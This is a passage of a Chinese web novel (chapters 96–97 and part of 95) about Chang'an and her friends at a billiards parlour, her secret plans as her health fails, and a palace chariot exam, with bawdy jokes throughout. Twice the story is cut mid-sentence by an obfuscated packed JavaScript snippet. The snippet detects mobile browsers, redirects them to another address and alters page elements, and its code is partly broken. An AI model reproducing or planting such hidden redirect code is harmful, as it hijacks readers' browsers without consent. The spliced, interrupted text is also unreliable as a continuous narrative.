忽然听见平安院里传来柳延年阵阵倾诉的哭泣声,我和花铁铁赶不及绕正门去找她,就爬墙头,却看七皇子与平安执手相看泪眼,说什么奈斯荼蘼特有,俺木饭,三克油,俺的油,俺木翻土,然后异口同声喊了一声“同志”,接着哭的不能自已的柳延年上前,三人抱头痛哭。 我和花铁铁对视,一脸蒙圈。花铁铁完全没头绪,而我的想法是我可以理解平安和柳延年在一起痛哭,但加上七皇子,我就想不通了。 柳延年无意间抬头,看见墙头上我和花铁铁的脑袋,吓得一哆嗦,平安惊觉,看着我们,挥了挥手叫我们回避。 花铁铁只朗声问:“在这哭什么?还去不去万园街打台球?” 柳延年哽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162608|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽垂泣着,下巴一抽抽地说道:“你们,先去,吧,我们,随后,就到。” 背对着我们的七皇子,也摆了摆手,示意我们退下。 我们就下了墙头朝正堂走,花铁铁问我觉不觉得七皇子有些怪。 我说有什么怪的,七皇子不一直这样吗? 花铁铁憋了一下,说了句也对,便没再言语。 我心道,有些事情平安和柳延年瞒着你但不避讳我,今儿你要是不在场,他们指定留我一起的。 郑清和卫不弃等平安他们,我们和齐王惠王先出发去了万园街台球园。 马车一停,我兴致冲冲的一路飞奔冲进包间,却并不见薛环身影,倒是田世子和陈书来了,正和堂邑夫复盘,书僮田男男和陈约在摆球。 他们刚结束一局,堂邑夫绝杀,一杆到底,田世子和陈书,大方称赞他,却也抱怨他不给哥儿几个留机会。 这包间是一处湖边水榭,空间很大,里面摆了三张台球桌。窗外景色绝佳,凉风习习,很适合午后打球。 田世子和陈书对战,我们大家观战。花铁铁看了一会儿,觉得自己会了,就手痒痒到一边,要自己开一局,结果连球都不会摆,田男男帮她把球摆好。 有了上次在汤泉宫串糖葫芦的经验,这一次花铁铁很小心,没再莽撞,可打了几杆才发现,并不是自己想得那么简单。 堂邑夫有眼力见儿,就过来教她,他指出花铁铁球杆用的不对,指导花铁铁先俯身做好打球的姿势,可当他一手握住花铁铁拿杆的手,一手覆在花铁铁桌面上那只手,环住花铁铁,整个身子贴近花铁铁的腰身,开始正式指导打球的时候,他就不淡定了。 堂邑夫太在意花铁铁了,因为离花铁铁太近,怕自己呼吸喷到花铁铁颈子上,惹她反感,便特意屏住了呼吸。时间久了,他身子有些僵,覆盖在花铁铁手上的那只手,有些轻微发抖,摩挲。堂邑夫的喉结上下滑动着,犹如他们手里的杆子,来回伸缩着! 花铁铁认真的盯着前面的目标球,并未察觉异样。 可我直觉两只漂亮的手交叠在一起,很是暧昧,让人想入非非,竟然慢慢染了情~色,像是光着身子交织在一起的两幅躯体…… 可我不觉得自己无端淫~邪,只想这大概这就是爱情的力量,自从我和薛环相好以后,我便看什么都不由自主,这是少女心事,是很正常的胡思乱想。 他怎么没来呢? 一想起薛环没来,我心里就有些不痛快,再看那气氛微妙的两个人,就很是来气,不等我发作,花铁铁见迟迟不击球,倒先发火了,起身转头斥问堂邑夫:“还打不打了?” 堂邑夫一哆嗦,赶紧撤了撤身子,慌里慌张,支吾了两个“打”字 “对呀,还打不打了,再不打我就要看哕了。”我黑着脸,跟着花铁铁一起瞪着堂邑夫,揶揄。 “哕哕哕,”花铁铁对我气道:“你就知道哕!”转头对着堂邑夫喊道:“打。”便附身做好了打球的姿势。 那姿势对男人来说,可真够要命了。 堂邑夫果然出师不利…… “你教的什么呀?还不如我自己打得好!滚滚滚,我自己打,不用你了。” 我见堂邑夫一脸尴尬,汗涔涔的下,便急切地给他解围,举手道:“我用我用。” 花铁铁心口一憋,一脸破烂你拿去随便用的样子,翻了个白眼,继续俯身打球。 春心萌动,太难克制,恋爱中的女人总是很喜欢想象,不论什么事情,都会联想成和心上人在一起的样子。 当堂邑夫的大手罩上我的小手时,我原本开心的扭着身子,只单纯是跟花铁铁演示,得到堂邑夫指导打球是一件多让人高兴地事,是她无福消受。 可下一刻,便不禁想象着是杜晦在教我打球,于是,我的小手开始不老实,在堂邑夫手下来回动,其实我只是想他覆盖在我手上的手贴得更紧一些,将我的手完全包裹住牢牢的握住,也想感受一下那种极致的暧昧。 可他因为刚才差点在花铁铁那里暴露心迹,又被花铁铁斥责,既紧张又害怕,慌乱的这会儿掌心里全都是汗水,在衣摆上用力擦了几下,还湿漉漉的,便不好意思按在我手背上,反而弓起手掌,尽量不碰到我。 于是我的小手使劲往上贴,“唰”的一下,小小的手指头,竟从他大手的指缝间呲出来,显得十分滑稽又特别可爱,包间里的一圈人,除了还在认真打球的花铁铁,都哈哈笑起来。 堂邑夫也笑起来,低声道:“老大别闹,好好打球。”说着将我不老实的小手指一根一根按回去。 虽然知道大家不是嘲笑,但是我还挺不乐意的,感觉眼皮都没力气睁开了,只半阖着。这个花铁铁,真是的,都不知道自己错过了什么!偏我想要,却得不到,借她的堂邑夫强行体验一把,还闹了笑话。我蹙着眉头,甩开堂邑夫,想说不玩了。 却只听陈书痛叫一声:“啊……” 众人噤声侧头看去,原来是花铁铁方才击球的时候,球杆向后发力,不小心误伤了站在她侧后方的陈书,原本是打不到的,实在是花铁铁自创的打球招式,架势全开,角度刁钻,于是——非常精准地命中了陈书的小胯。 96. 有备 陈书一手捂着痛苦的脸,一手攥着拳头半遮着下半身,半跪在地上低吟。花铁铁少有的脸红了,只看着田世子将陈书扶到一边坐下,郑重行礼道歉,说对不起不是故意的云云。 陈书前倾着弓着身子,扶额皱着脸,艰难地回复说不碍事,花姑娘不必放在心上云云。可脸上的汗水,一粒一粒往地上砸。 田世子见陈书疼成那样,就跟着冒汗,作为男人,有些事情是能感同身受的,怕陈书为了面子,有事儿也说没事儿,再者那里关乎男人的终身,以后开枝散叶子嗣绵延,全靠它呢,便建议:“逸之(陈书的字)你这也不能大意了,要不你去内间宽衣,叫长安给你看看,他医术高。” 虽然我医术高明这件事情深入人心,但我觉得此刻他想表达的并不是这个,而是想说花铁铁武艺高强,下手也许不轻,可别误了陈书,留下终生遗憾。 不等我拒绝,原本想着疼一会儿就没事的陈书,忽然就领会了田世子的意思,匆匆点头同意,请我面诊。 惠王齐王,还有堂邑夫花铁铁,这些人闻言,神色各异。我毕竟是医者,此时他们好像没理由也没办法,说点儿恰当合理的话出来替我解围,于是空气,仿佛有些许凝滞。 啧,其实他们不在场,这事也没啥,我帮着看看也就罢了,就像在学宫给堂邑夫治痔疮。眼下他们在,反而是在考验我脸皮到底有多厚了。 唉,伤在哪不好,偏偏是那里,偏偏知道我底细的熟人都在场,我反复斟酌,确定是挂不住脸去帮陈书瞧,“嗯……我不善男科,要不还是去我师兄那里……” “应该还不至于劳动你师兄出面吧!”陈书一惊,豆大的汗水从他下巴上滴落,显得他气色更加土黄。 田世子道:“对啊,你就先给他看看要不要紧,要真是太严重了,再送去苏神医那里不迟。赶紧的吧,逸之嘴唇都青了……”说着田世子就将我推进内室,然后和陈书的书僮陈约,一同把直不起腰的陈书扶了进来。 我们在里屋看伤势,田世子守在门口慌乱地扇着扇子,焦急地来回踱步,时不时透过门上的纱帘往里瞧,看不清就越发惴惴躁动起来,像是等候娘子生产的人夫。 好在陈书的宝贝儿,不是很严重,就是有些红肿胀痛,我叫陈约去跟台球园的小二要些冰块来,放进盆中,浸了凉毛巾给陈书轻柔点敷了一会儿。 之后,我从随身的小药匣里,拿了一瓶药给陈约,叫他给陈书仔细涂上。那药金贵,最是止痛,平时我都舍不得用,今日就便宜他吧。 上了药,陈书立马便不疼了,一丝清凉,甚至让他心情舒畅,烦恼一扫而光,见我医术确实高明,大赞我是神医,穿好衣服便起身合礼连连道谢。 我客气一番,嘱咐他说这几天那处会有些淤青浮上来,叫他不要慌张,府上要是有活血化瘀的药,吃一点就好。 门口的田世子知道了,大大松了一口气,叫田男男赶紧换盆水进来,给我净手。 呃……这么贴心,我真是谢谢他了!!! 我是医者,论起来确无男女之嫌,但是出了内室,场面还是有些尴尬,众人喝了口茶压了压,便又开始打球,只是花铁铁悄没声息地挪到了最边边的第三张台子上,而中间那张台子空了出来,男人们宁愿观战,也不肯再开一局。 唉,早知道薛环不来,我就不来了。这个死花铁铁,真是会给我找事情。 我必须尿遁。 回到梧桐院,我先进密室,视察了一下皇帝和太子交给我的任务,这个任务托付给哑叔执行,他果然没让我失望。 回到房中,想从书架上,找出鱼鳞册来画。 却不小心把给平安准备的用来压箱底清宫图翻了出来,这图已经画的差不多了,还没完工,是因为上面的郑清,我没给画全五官。 从前我决心当小子的时候,画这些倒没觉得有啥。可是后来不行了,我做男子的心动摇了,所以提笔的时候总是羞涩,怎么也画不下去了。 自打树屋那晚我想做回女孩,返京以后更是放在书架上不曾翻开。我想就索性这样,以后平安或者郑清绘画技艺好了,自己填上去吧,也不失一种闺房之乐。 贴上标签,放进螺钿大漆首饰盒里,再送去攒嫁妆的西厢房,等平安出嫁了再一并给她。 回到书房,展开鱼鳞册,将这些日子我们经历的场景见闻都画上,除去山居小院。 原因嘛,自然是,我和花铁铁会偷看平安的私藏手札,花铁铁和平安也总是趁我不在时,一同来翻看我的鱼鳞册,故而有些事情,只能放在心里,即便再想画下来也得忍住。 这一点,写过日记的人,应该是懂的,日记上的东西,未必都是自己真正想记录的,即便是写出来的那些,也总是真亦假来,假作真。 正画的投入,一滴血,落到画卷上,我赶紧撕了书案上闲置的一角生宣擦干净,以免血液渗入鱼鳞册纸张,同时用帕子捂着鼻子,擦完才仰着头去水盆那边清洗干净。随后取了一颗鳄血菩提,塞进嘴里,仰面躺在床上。 我的身体又衰弱了不少,我感到害怕,心脏扑腾扑腾的跳着,头有些昏沉,手脚有些发愣,口舌发木,类似晕血。呵,我知道这些反应是我太紧张太恐惧导致的,想我曾经刀光剑影,厮杀奋战,浑身是伤,血流不止,血腥味儿越甚,我反而越战越勇,何曾畏惧过? 以前我不怕死的,现如今却怕了! 我怕,固然是贪恋世间的美好,更重要的是我还有很多事情,要去做。我们都刚刚崭露头角,那么多事情还没提上日程,我怎么舍得死,又怎么放心死!? 不过,看样子我大概参与不了了多少了,这世间可以没有我,但有些事必须得完成,我得筹谋起来,留下明确的策略,指点他们如何替我活下去,完成未竟的事业。 鼻血止住,我拿出一个新的鱼鳞册。 闭上眼,稳住心神,调整思绪,我慢慢的把心中勾勒过无数遍的雄图伟略,完美展现,然后睁开眼,一鼓作气,全都倾尽笔下,一条条,一项项,一桩桩,一件件……反复斟酌,再三批拟,用朱笔添加删减,一个主张后面是一套又一套的方案,可谓详尽,揭我全力,确保有备无患,力图万无一失…… 所有策略,简明扼要,直击重点,我可没时间和精力像戏文里的那些谋士们一样,故弄玄虚,搞什么锦囊妙计,我也没有那个神来的本事掐算的那么准,我死以后,更没可能守在花铁铁堂邑夫他们身边事事跟进,时时修正。 我只能按部就班尽可能的,把自己能预料能想到的谋划对策都写得清楚详细,这样,花铁铁堂邑夫他们看起来不费劲,做起来不费事,如此而已。 若是他们能够按照我预估的方向成就事业,那便是上天的恩典,如若不能,我们也都尽力了,唯听天命尔,弗憾矣。 这样想着,心里轻松了许多,死亡,便也没那么让我恐惧了。 七皇子还有最后一副药,哑叔那边年底就能完成,花铁铁的资金一到位,河西之地的事情就可以全面展开,堂邑夫学宫大考以后,便可在朝堂上崭露头角,一切都在慢慢走上正轨…… 可我还是忍不住感紧迫:如果没有和杜晦相认,我所剩的时间做这些事情,会很充裕,不用急,也不需急,完全可以慢慢来。但现在不同了,我如今的生命中不光只有事业。 于是连日来,每当我反复检查修补策略,累牍劳形之时,心底便总有个声音告诉我,布局得再周密,也会有万一,非人力可左右,差不多就行了。既然时日无多,何不速速利用最后的时间,去做一些自己想做的事,赶紧去找他吧,人来到世上走一遭不容易,这些年都在忙事业,也该留些空间,为自己活一次。 未竟的那些事业,注定来不及参与了,那便只当自己现在就死了,遗言留好,往后的日子,就做个旁观者,看看活着的人会怎样活怎么做,就好。 所以,长安啊,接下来的重点就是——去好好享受一下儿女私情吧!余下的时光,要狠狠沉迷情爱,可不能委屈了自己。杜晦,也不知道经历了什么才回到人间,回到我身边,一定没那么简单,把最后的时间都留给他,才对得住他。 我看着窗外的月光,淡然地笑了笑,合上鱼鳞册,封存的标签上写着:我最隐秘不可告人,一看你就脸红心跳,血脉贲张,想要翻云覆雨,扬帆弄浪,激情四射,乾坤共振的——雄心壮志录。 然后写了一封信,一起放在书架最里面的机关秘匣里,等时机到了,秘匣就会弹出来,顺利给花铁铁他们发现。 至于我要离开这件事,得先瞒着所有人,包括他,我还没想好怎样开诚布公,也许会在某一天就销声匿迹杳无音讯,成为下落不明不知死活的传奇,也许……会拥有一场盛大的送行。 但眼下,能瞒一天是一天,做好决定,我不动声色,日子如旧。 “这些天,你都在忙着什么?除了薛环那小子来找你,你能抽出些空闲,便足不出户的?”平安见我闲下来了,在院子里荡秋千,才来找我。 “忙着画图,画鱼鳞册。”我懒懒的说。 和薛环待的越久,我就越发喜欢和他在一起,我沉迷他的温柔,享受他的爱意。策略做完了以后,更是只有看见他的时候才有精神头,其他时候都觉得很累很乏很没劲儿。倒不是身体衰败的那么快,只是知道自己不久于人世,心理上提不起劲儿。可我又不愿意事出反常的粘着薛环如影随形,叫人看出端倪。 我的答复,纯属废话,平安将其理解为是我故意用画鱼鳞册做幌子,实则是有不方便透露的机密,不再多问,只和我闲话家常,说说笑笑。 “你们仨最近走挺近啊。”平安做的酥奈花,品相不好,但味道不错,她总是把这些做失败的东西拿来给我吃,我照单全收。 平安知道我指的是她和七皇子还有柳延年,一边和我一起来回荡着秋千,一边又喂了我一勺酥奈花,道:“嗯,早就想和你说来着,你这几日不是忙吗?” 平安趴在我耳边告诉我一个惊天大秘密,七皇子也是穿越的,而且是各种形式的穿越与反穿越。平安和我细细讲了一下穿越的种类,有些地方我觉得晦涩,但凭借的超强的理解能力,也完全理得顺。 “长安,你给七皇子的药里是不是不单单加了人魄,是不是还有狐心舍利的碎片?”平安问道。 我挑了挑眉,说:“嘢呵,行啊,不仅知道人魄,还知道我加了狐心舍利?说说吧。” “真加了?”平安大惊,旋即镇定道:“可不是我探知到的,我可没那个本事,是七皇子说的,他说他在一次短暂穿越的时候得知的,哦,他不是老是昏睡吗?其实就是穿越去了,睡得短穿越的时间就短,睡得长穿越的时间就长,哦,也不一定,他说有的时候感觉在这边只睡了一小会儿,在那边已经一辈子了。有的时候回来早了,身子还没睡醒,灵魂便会在外面飘荡一会儿,说有一次正好看见你交代师侄配药,才得知药方里有人魄。” 平安说七皇子问人魄是什么东西,他猜人魄就是字面意思,但想知道人魄是怎么取的?平安有些不寒而栗的样子,问道:“七皇子想问人魄入药会不会伤天害理?人魄,真的是人的魂魄吗?” 我点点头,说,他猜得没错,就是字面意思,但魂是魂,魄是魄,不损害人的灵魂耽误人家转世投胎,就不是伤天害理,而且治病救人是功德,魄主是会有福报的,叫他不必担忧自责。 想了想,又道:人魄大都是修真门懂行的能人异士,通过特殊方法,捕捉到的那些没了三魂凝聚,而在外游荡的残魄,“所以叫七皇子以后魂魄离体的时候,不要到处乱跑,小心被人误捉了去入药做引,给人喝了,就不好了。有魂无魄,不是傻子就是疯子,这次再残缺了,我可没本事再给他收集全修补好了。” 平安打了个寒颤,点点头,然后又问道:“还有就是,你还记不记得你的狐心舍利是怎么碎的?” 我想了想,道:“我记得本来就有裂纹残缺,用黄金修补过,后来你跟我争抢,彻底摔碎的。” “嗯。”平安点点头,道:“关于小时候,我其实是很模糊的,我也是努力回忆,才想起来一些,只感觉如梦似幻般不真实,我记得,我打碎狐心舍利之后,被舍利碎片刺到了,好像大哭了一场,睡着了,还是怎么了,总之后面的记忆不仅混乱还很模糊,之前以为许是年代久远,许是我年纪尚幼,又或者接连的变故对我打击实在太大,我浑浑噩噩昏昏沉沉的度过那段时光,是病的太重……以致灵魂穿越异世,可是最近我,我们发现,我们的穿越可能都跟狐心舍利有关。” 平安顿了顿,道:“柳延年跟这狐心舍利也有渊源,我从前只听他说他父亲是南唐大乐司,却不曾想他母亲竟然是专门给南唐皇室以及门阀亲贵做珠宝首饰的工匠大家。当年狐心舍利碎了,便送去他母亲那里进行修复。恰逢宫廷政变,狐心舍利就留在他母亲那里,直到前些年他父母病重,继续重金治病,他变卖家中物品。” “变卖?”杜晦应该就是那个时候得了此物。 “柳延年说他当年出手时,曾拿出来端看了一眼,他那时只以为是一块寻常的破碎红宝石,红玛瑙,或是红玉髓,依稀记得碎裂的残片在他掌心融化不见,可当时他刚刚丧父,母亲也只吊着一口气,便误以为是自己精神恍惚看错,未曾多想。正好买家也不识货出了高,他害怕对方反悔,就赶紧换了钱,急着去药铺抓药,后来梦穿也只以为是机缘,直到他与你在汉中经历了一番奇遇。” “他同你如何说的?”我挑了挑眉,吃完最后一口酥奈花。 “他说,在那个巨树下,你们一起清理小庙宇的时候,你的狐心舍利曾掉出来过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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我只怕若是此时自己心意动摇,起了贪念,存了不舍的私心,真若少了这么重要的一味药,七皇子的病定会前功尽弃。 到时候七皇子发生什么变故,都不是咱们能掌握的了,若是害他灵魂留在异世,或飘离在外,这副肉身从此沉睡,再也醒不过来,或成行尸走肉,或者变得更加疯魔……都是有可能的。 我刚才也拿不定七皇子好转,到底是人魄起了作用,还是狐心舍利起了作用,现在想来应该是狐心舍利将七皇子散落在外的魂魄碎片召回来,人魄又将这些残魄修补齐全。 至于现在召回多少,补全多少,我拿不准,但猜测应该差不多了,可是具体差多少,差得那一部分是可有可无,还是起至关紧要的作用,我不敢赌。 明天最后一次了,七皇子眼见与常人无异,这最后一次咱们不求有功但求无过,万万不能出现岔子,一旦这最后一次出了岔子,咱们可没补救的机会,到时候束手无策,就只能眼睁睁看着,当真是无力回天了。 陛下仁慈虽然有言在先,治好了有赏,治不好不罪,但是咱们自己内心可过不去这道坎儿,尤其是你,可不得哭死!?” “啊!我可真是猪油蒙了心,竟提出那种建议!怎么会这样,我竟把一个物件看的比七皇子重要,还试图劝你在药上动手脚,我怎么会这样,我真该死……”平安回过味儿来,对自己刚才的动心起念懊悔不已。 “不怪你不怪你这不怪你,切莫自责,这便是所谓的鬼使神差了,你是我最亲近的人,上天便拿你来迷惑我,叫我遇见试探,此事关键在我而不是你,你在机缘里,便由不得你做主了,归根到底,只要我心志足够坚毅,这一局便破了,也算闯关了。” “鬼使神差?上天?机缘?”平安额头一层汗珠,她蹙着眉头完全迷惑了。 我在她的日记小札里,看到她后面是这样描述的:她只是不迷信,但有些东西她并不是不信,她的经历也由不得她不信,当她感觉的到这些东西的强大时,她出了一身冷汗。 她意识到自己被这些东西利用成工具的时候,本体是一点感觉也没有的,对自己的主张言论,丝毫未觉不妥,直到被点醒,她才如梦初醒,后知后觉,震惊先前的那个她是她又根本不是她,就像被上身被控制了一样,这种感觉说不清道不明,让人感到很不适。 她自认为是一个高自尊高存在感的人,而这忽然的觉悟,让她看到事件的另一种模样,这使她深感挫败,完全不能接受自己,在特定情况下失去自主意识,像是一个游戏软件里的N~PC,被设置了必须要做的任务,去找必须要见的人,说出必须要说的话,帮助完成主角的一次蜕变。 看完之后,我也迷惑了,那三个符号是什么意思? 花铁铁来了,说过午是学宫大考的御车比赛,校场边上搭了看台,亲友可以入场观看,花小楼的姑娘们也去给堂邑夫助威。她们以后的孩子都挂在堂邑夫名下,堂邑夫博一个好前程,她们的孩子也有好出路,于是,姑娘们对堂邑夫的学宫大考格外上心。 那日野宴之后,堂邑夫回去便把他存在苏和那里的身家都拿出来给了花铁铁,那是好大一笔钱,花铁铁震惊这小子积蓄居然这么丰厚,竟这么大方都送给她,感动不已,大大方方收了一半,第一时间带着堂邑夫,去买下了那个之前她看好的宅子。 本来皇帝微服私访安园的时候,她是想借着给皇帝炼制血菩提的功劳,求皇帝赏赐个家给她,顺口把这个宅子要下来,一分钱不花的。可是,皇帝没接茬。 宅子过了户,这几日正在置办收拾,今日晌午吉时放鞭,大门的牌匾已经挂上了,就叫做芳园,还是惠王给题的字。 御场的看台是一个一个独立的凉亭,作为堂邑夫的亲友,我们拥有一个独立的亭子。我说花铁铁火急火燎,非要先行一步,不等我们呢,原来除了花小楼的姑娘,她还邀请了朝天阙的虞三娘,花铁铁与她私交甚好,这几日走得也愈发勤快。 花铁铁现在有了钱,便开始找人合作,虞三娘子是个不错又合适的人选,最重要是她俩趣味相投,心意相通,志同道合,一拍即合。 在场的都是贵族,这时的太阳还很热烈,女子们就算进了凉亭也都不摘围帽。 花小楼的姑娘们,也都带了围帽,只有花铁铁和虞三娘子,不在意这些,我和平安等人赶到御车校场的时候,她们姐俩正附耳贴首,咧着大嘴,呲着大牙,有说有笑吃着喝着闲聊呢。 平安和郑清柳延年他们随着惠王齐王七皇子去了中心那边的看台,那里视野更加宽阔。 代政长公主刘婉家的高阳郡主和梁王刘显的元欣郡主也来了,不一会儿太子殿下带着荣玥公主和荣珺公主驾到。 上位者坐定,祭酒宣读御车大考的祭辞祝语,然后是参考学子,驾着御车绕场一周,一一亮相,接着便是身着仪甲,披银色文武袖和蓝色文武袖的学子们,上演的开场擂鼓乐舞,御车大考拉开帷幕…… 97. 庆功 御车大考,出场顺序由抽签决定,堂邑夫最后出场,薛环一同随他候场。 我不是参考人员,不得入场,和薛环隔着围栏,说了会儿话,便回到看台。本想多说一会儿的,但是李椒都要把我瞪死了,我就赶紧“逃”了。 我去找平安,半路被万三拉去当“宠物”,她带了好些好吃的吃食引诱我,喂我的时候非要我躺在她怀里,渐渐的姿势像母亲奶孩子那样,她沉迷其中,乐此不疲。 虽然亭子两边都放下了纱幔,万三也带着围帽将我一同罩住,旁人是看不见的,但我半推半就,还是不肯轻易从的,这个万三,真是逮着机会就把我当儿子。 我趁她不注意,像个泥鳅一样跑了。她不死心,一边骂我没良心,吃干抹净就拍拍屁股不认人,一边厚着脸皮跟着我屁股后面,到了惠王的凉亭。 平安看见我和万三追打着来了,便从惠王齐王身边撤下来,“怎么,不是去找薛环一起玩儿的吗?”平安笑道:“你看你吃的什么?小嘴巴小脸上都是黑黑的。”说着就拿出帕子沾了茶水给我擦脸蛋。 “是三三给我做的茯苓姜枣糕。”我道。我脸上那些,应该是枣泥。 万三恭敬的站在亭子外面,端着礼,只等得了惠王的许可,才进到亭子里来,到平安身边端坐下。花铁铁也来了。 仪甲披红色文武袖的学子们来回巡视,负责辅助考官计分,传达各个计分点讯息,骑着马从我们亭前经过,平安,花铁铁和万三的视线不由跟随。 我呵呵笑了一声,道:“真好看。” 花铁铁回过头来,撇了撇嘴,道:“好看什么,一群大蛐儿蛐儿,一巴掌拍死好几个。” 她嗓门大,听见这话的人不少。 “蛐儿蛐儿就是蟋蟀。”平安道:“又稀有又帅气,也配的上。”我不得不佩服平安,她可真会找补。 直到红袖学子走远看不见了,万三才回过头来,“你们说,男人骑马什么姿势最好看。” 平安闻言,瞬间羞涩低头浅笑。她的围帽上特别加了一圈由细小珍珠和水晶穿成的流苏,此刻随着她的动作来回摆动,闪着光芒,很是漂亮。 万三撩起自己的帽帘,又掀起平安的帽帘,探头过去确定平安的反应,她眼睛一亮,大有遇见知己的样子,然后将帽帘都放下,朗声笑起来。 “有什么好笑的!?”花铁铁参与不进去,有些着急,“不是问的哪个姿势最好看吗,怎么还笑起来了?” 我用团扇闪着风,面无表情地低声揭露答案:“摆腰。” 花铁铁正在端着杯子喝茶,听到这两个字,刚要说这有什么好笑,便瞬间回过味儿来,被茶水呛了一下,又愣了一下,看着平安发笑道:“平安,你还真是……妙啊!” 亭子里其他人,也都浅浅地笑着。 隔着围帽也能感觉到平安此时又羞又窘,怕和我们一起还闹笑话,便往郑清身边使劲儿靠了靠,和我们保持距离。 花铁铁呛了那一下,便一直咳嗽,我伸手在她背后拍了两下,她好了,却又来嗔怨我,“下手轻点,不咳嗽死,也被你拍死了。” “哟,你是个蛐儿蛐儿啊,拍一下就死?”我道。花铁铁见我故意拿刚才她的话来噎她,狠狠瞪了我一眼。平安等人浅笑。 “要能这么轻易就死了,就好了。”万三优哉游哉地道:“下辈子我就不托生成人了,要是还托生成人,我就做男人……” “你可做不成男人,你还得撅着大腚甩着大扎到处拉人当儿子,追屁股后面上赶着给人当娘呢!”我揶揄万三。花铁铁一脸‘你今儿吃屎吃撑了,逮着谁都往死里噎’的样子。 万三白了我一眼,哼了一声道:“是是是,我便世世代代都生成女人,总有一辈子你是我生的。只但愿我生生世世都姓李名蔓姬。” “姓李?哪个李?”我闻言瞬间警觉地看着万三。 万三吊儿郎当地道:“哪个李都行,只是别耽误我叫李蔓姬。” 我们对万三的话不明所以,平安却忍俊不禁,然后低头羞涩地往郑清身后躲了躲。 万三又赞了平安一声“妙”,满眼都是知己难遇,相见恨晚的激动。“妙什么妙啊。”平安咬了咬嘴唇,愁苦懊悔道:“哎呀,我真是讨厌死这种秒懂的感觉了。” 七皇子和柳延年也抽搐着嘴角浅笑起来。我拉着柳延年问她到底笑什么啊? 柳延年强忍着笑意,道:“小儿不宜!” 我大怒,用小手使劲儿掐他大腿胳膊和他腰:“宜不宜,宜不宜,宜不宜……”正掐的起劲儿,脑中忽然灵光一现,倒吸一口凉气,小手捂着小嘴巴:“日理万机?!” 我难以置信的回头看着万三,一脸‘你可真是天生做婊子的材料,你不干这行,这行都得倒’的神情。 万三掀开围帽,高挑着下巴,用鼻孔看我,仿佛在说:怎么了,管得着嘛你?有本事你叫李蔓姬啊!!得天独厚,顺理成章!!! 我眼神警告万三,万三一翻眼,别过头去不再理我。 那边花铁铁突然大手一拍,道:“哎呀呀,三三你还真是志向远大,我尝闻这个皇帝日理万机,那个君王日理万机,这个宰相日理万机,那个首辅日理万机,这个将军日理万机,甚至连太后都日理万机,啧啧啧,满朝文武,哪个不日理万机。日起来啊日……果然逃不过生生世世做女人,那就得姓李名蔓姬啊!!这特么才有做女人的乐趣,这特么才真正是女人啊,啊哈哈哈……” “……啊哈哈哈……” 我们亭子里笑声四起,引得太子那边也频频侧目。纱幔北风吹起,一时间视线再无遮挡。 我余光瞥见荣珺公主一脸欣喜地起身,不等她出亭子朝这边过来,我就“不小心”撞翻了花铁铁递到嘴边儿的茶水,被她追着打着跑远了。荣珺公主脚步一滞,有些失落。 可惜没跑多远,我就被花铁铁追上了,她拽着我的衣领,把我放倒附在她膝上,像娘打孩子一样,打我屁股,我声嘶尖叫。 万三提着裙子哼哧哼哧跑着跟上来,心疼地护住我,“别打了,别打了,就是碰洒了杯茶水,多大的事儿啊,长安又不是故意的,道个歉就行,何苦这样打他,你看都给打死了。” 万三将没了动静的我,从花铁铁的膝上抢下来,翻过来一看,我已然翻着白眼晕过去了,就心疼地哭起来,指责花铁铁下手太狠,把她宝贝儿子打死了。 花铁铁慌张地退了一步,说:“哎哎哎,别胡乱咬人啊,我可没使劲儿,她就是装的,是装的,我再打一下,你叫我再打一下,我指定给她打醒过来,你别不信,我就再打一下……”说着花铁铁就要把我拽起来,举起手威胁着吓唬我,警告我别装了。 两个人纠缠起来,万三死死抱住我,哭喊着:“还给你打!?……再给你打一下,下下辈子的胎都投好了!呜呜呜……可别真做了李蔓姬啊……我的儿……” 两人继续争夺着我。 平安跑过来问情况,见我鼻血横流,被两个人撕扯着飞的满脸都是,实在骇人,尖叫一声,花铁铁和万三也吓了一跳,平安不管她们,更顾不得气喘吁吁,就大喊着把我抢过来,叫跟上来的郑清赶紧把我抱回亭子里去。 柳延年不让他们把我放平,说那样流出来的鼻血会呛到肺里,就真救不活了。郑清便将我支在怀里半躺着,平安浑身颤抖着给我擦拭鼻血,万三不停地哭喊着儿子我的儿子,帮忙打下手。她嘴上不停,手上却利落…… 一圈的人都急得不行,便也不在意万三的胡言乱语。一阵骚乱,引得其他亭子里的贵族们,纷纷张望。见是惠王的亭子,便也不敢明目张胆的看,太子那边差人来问。 花铁铁意识到犯了大错,连忙拿了一颗鳄血菩提给我服下。我缓缓睁开眼,看了看众人。 众人长长舒了一口气,紧张地心情和身体,都放松下来。不等他们询问我情况如何,我便道:“不是花铁铁的错,别怪她,是我练功出了点小岔子,又连日操劳不得休息,疏忽了,方才跟花铁铁闹着玩,催动内力太急了些,气血上涌才……好累,想睡。” 我感觉郑清的怀抱好清凉,好舒爽,我仿佛睡在一朵莲花做的摇篮里,飘荡在泛起微微涟漪的水面上……便紧紧抱着他的胳膊,在他怀里缩成一小团儿,拒绝被万三拉出来。 昏昏沉沉间,只听得带着鼻音的荣珺公主问万三,“你是长安哥哥的娘?” 万三做作地抹着眼泪,悲戚蹙眉,满脸心疼地默认。 我立即用尽全身的力气,睁开眼,艰难地对着万三说了一个字:“滚!” 说完我就沉沉睡着了,没听见万三愣了一下后,自我缓解尴尬道:“我儿真是孝顺,回光返照,就为了最后和我说上一句话,哪怕就一个字,也要留给我,真是我的好大儿啊……” 平安憋了一下,蹙着眉头,叫花铁铁遵照我意思,“赶紧把她带走吧。” 花铁铁听话照办,一巴掌呼晕不愿离开的万三,扛在肩上就走了。 